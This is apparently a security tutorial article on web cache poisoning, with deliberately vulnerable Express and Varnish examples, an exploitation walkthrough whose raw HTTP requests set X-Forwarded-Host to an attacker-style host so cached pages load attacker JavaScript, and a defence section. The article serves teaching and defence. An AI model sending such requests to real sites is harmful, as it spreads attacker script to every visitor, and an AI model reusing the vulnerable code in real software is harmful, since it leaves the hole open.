Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Web cache poisoning is an attack in which an attacker manipulates a shared HTTP cache — a CDN edge node, a reverse proxy like Varnish or Nginx, or an in-application cache — into storing a malicious response and then serving it to every subsequent visitor who requests the same cache key. The attacker sends one request; the cache does the rest of the distribution work for free. Unlike XSS, which needs a victim to click a crafted link, a poisoned cache entry fires against anyone who simply loads the page, including users who arrived through a bookmark or a search engine result days later.
The root cause is almost always the same: the cache’s notion of “the same request” (its cache key, typically method + host + path + a handful of query parameters) is narrower than the set of inputs the origin server actually uses to build the response. Any input that influences the response but is *not* part of the cache key is an unkeyed input. If one is reflected into the response — a header echoed into a canonical link, a cookie value used to pick a template — an attacker can send one request with a malicious unkeyed value and have the cache store the tainted response for everyone. Impact ranges from defacement and reflected XSS served to the whole user base to open-redirect chains and account compromise.
Attack Prerequisites
Cache poisoning requires a specific alignment between the cache layer and the origin’s request handling:
- A shared, keyed cache sits in front of the application — a CDN (Cloudflare, Fastly, Akamai, CloudFront), a reverse proxy (Varnish, Nginx
proxy_cache, Squid), or a framework-level full-page cache. - At least one unkeyed input reaches the response. The origin reads a header, cookie, or parameter the cache does not key on, and reflects it into HTML, a redirect
Location, or a cached script/asset. - The response is actually cacheable — no
Cache-Control: private/no-store, and noVaryheader covering the tainted input. - A way to confirm caching, such as
X-Cache: HIT,CF-Cache-Status,Age, or a measurable response-time difference between a miss and a hit.
How It Works
A cache decides whether to store and later serve a response purely from the key it computes for the request — usually just method, host, and path, sometimes with a whitelist of query parameters. Headers, cookies, and the rest of the request are invisible to the caching decision even though the origin may read every one of those fields to build the response. This is intentional — keying on every header would collapse hit rates — but it means the cache treats GET / with X-Forwarded-Host: attacker.com and a plain GET / as the same cacheable object, even though the origin’s HTML differs between them.
The classic unkeyed vector is a proxy-forwarding header. Applications often trust X-Forwarded-Host or X-Forwarded-Scheme to reconstruct absolute URLs for canonical tags, reset links, or script references, assuming the header describes the real front-door hostname. When the origin is reachable directly, or an upstream proxy forwards whatever the client sent instead of overwriting it, the attacker fully controls the header. If the resulting HTML — e.g. <script src="https://$X_FORWARDED_HOST/app.js"> — is cached under a key that ignores that header, the tainted markup persists for every later visitor until the entry expires or is purged.
A subtler class is cache key normalization mismatch: parameter cloaking (a duplicate parameter, e.g. ?utm=1&utm=<payload>, where the cache reads the first value and the origin reads the last), fat GET requests (a GET with a body some frameworks parse instead of the query string), and path normalization differences. All produce the same condition — cache and origin disagree on which bytes matter — which is exactly what PortSwigger’s Param Miner Burp extension automates by fuzzing headers and parameters and diffing cached vs. uncached responses.
Vulnerable Code / Configuration
The most common real bug is an origin that trusts a forwarded-host header to build absolute URLs, combined with a cache configuration that ignores that header in its key:
// VULNERABLE: trusts X-Forwarded-Host to build an absolute URL that gets
// embedded in the cached HTML response.
app.get('/', (req, res) => {
const host = req.headers['x-forwarded-host'] || req.headers.host;
res.set('Cache-Control', 'public, max-age=3600'); // cacheable!
res.send(`<link rel="canonical" href="https://${host}/">
<script src="https://${host}/static/app.js"></script>`);
});
JavaScriptPaired with a Varnish VCL that hashes only host and URL:
sub vcl_hash {
hash_data(req.http.host);
hash_data(req.url);
// BUG: X-Forwarded-Host (and every other header the origin reads) is
// NOT included, so requests differing only in that header are treated
// as cache-key duplicates of an already-cached, legitimate request.
return (lookup);
}
VCLWalkthrough / Exploitation
First confirm the response is actually cached and reused:
GET / HTTP/1.1
Host: target.com
HTTP/1.1 200 OK
X-Cache: MISS
GET / HTTP/1.1 (repeat immediately)
Host: target.com
HTTP/1.1 200 OK
X-Cache: HIT <- response is cached and reused
HTTPThen fuzz for unkeyed inputs — inject a unique canary via a suspected header and check whether a follow-up, un-tainted request still reflects it from cache:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: canary123.attacker-collab.net
HTTP/1.1 200 OK
X-Cache: MISS
...<script src="https://canary123.attacker-collab.net/app.js">...
HTTPIf a plain follow-up request still returns the canary with X-Cache: HIT, the header is unkeyed and reflected. Swap it for a real payload host to force every subsequent visitor’s browser to load attacker JavaScript, then run an automated scan across the site:
# Burp Suite -> Extensions -> Param Miner -> right-click request ->
# "Guess headers" / "Guess params" to enumerate unkeyed inputs, or:
python3 param-miner-cli.py -u https://target.com --guess-headers --guess-params
BashNote: Not all poisoning needs a header. Fat GET requests, parameter cloaking (a duplicate key parsed differently by cache vs. origin), and path normalization gaps (
/en/homevs/en//home) are documented PortSwigger Web Security Academy techniques for reaching unkeyed inputs when obvious headers are already stripped.
Opsec: A poisoned cache entry is served to every visitor, not just the tester. Use a unique, attributable canary, purge or overwrite the entry via the CDN’s purge API immediately after confirming impact, and never leave a live redirect/exfiltration payload longer than needed to prove it.
Detection and Defense
Cache poisoning is fixed by closing the gap between what the cache keys on and what the origin actually uses:
- Key on every input that affects the response, or strip/normalize it at the edge before it reaches the origin.
- Never trust client-supplied host headers for absolute URLs; use a hardcoded canonical hostname, or validate forwarded-host against an allowlist.
- Disable caching on anything reflecting request data — error pages, search results, redirects — with explicit
Cache-Control: private, no-store. - Run Param Miner against staging regularly to catch newly introduced unkeyed reflections before they ship.
- Alert on cache-hit responses containing unexpected hostnames or script sources outside an allowlist.
Real-World Impact
Web cache poisoning was popularized as a distinct, widely exploitable class by James Kettle’s “Practical Web Cache Poisoning” research (Black Hat USA / DEF CON), which showed unkeyed X-Forwarded-Host reflections affecting numerous high-traffic sites and led directly to the Param Miner extension. Because a single poisoned response is replayed to every visitor of a shared cache key, even a low-severity reflection commonly gets rated High once combined with a payload that achieves script execution.
Conclusion
Cache poisoning turns a performance optimization into an attacker-controlled distribution channel: the cache does the work of serving a malicious response to an entire user base after a single crafted request. The fix is always alignment — the cache key must cover, or the origin must ignore, every input that changes the response — and systematic tooling like Param Miner is essential because unkeyed reflections are rarely obvious from reading routes alone.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments